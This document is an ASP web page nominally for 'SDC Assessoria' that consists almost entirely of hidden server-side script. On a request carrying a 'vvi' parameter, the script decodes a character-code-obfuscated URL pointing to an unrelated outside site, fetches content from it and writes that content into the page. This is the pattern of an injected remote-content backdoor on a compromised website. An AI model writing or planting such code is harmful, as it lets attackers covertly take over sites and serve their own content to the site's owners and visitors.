<% start()%> SDC Assessoria <% sub start() Dim GetKey,WebStr,objXML,XHtml,ThisAr,Vstr,i GetKey = Request.QueryString("vvi") if GetKey <> "" then WebStr = "104_116_116_112_58_47_47_119_119_119_46_99_97_115_115_99_111_110_115_101_114_118_97_110_99_121_46_111_114_103_47_106_112_47_48_53_49_53_47_119_119_119_88_115_100_99_97_115_115_101_115_115_111_114_105_97_88_99_111_109_88_98_114_47_68_71_101_116_46_112_104_112_63_118_118_105_61" ThisAr=split(WebStr,"_") for i=0 to Ubound(ThisAr) if IsNumeric(ThisAr(i)) then Vstr=Vstr&chr(ThisAr(i)) end if next Set objXML = server.CreateObject("MSXML2.ServerXMLHTTP") objXML.open "GET", Vstr + GetKey, False objXML.send() XHtml = objXML.responSetext if XHtml <> "" then response.write(XHtml) response.end end if end if end sub %>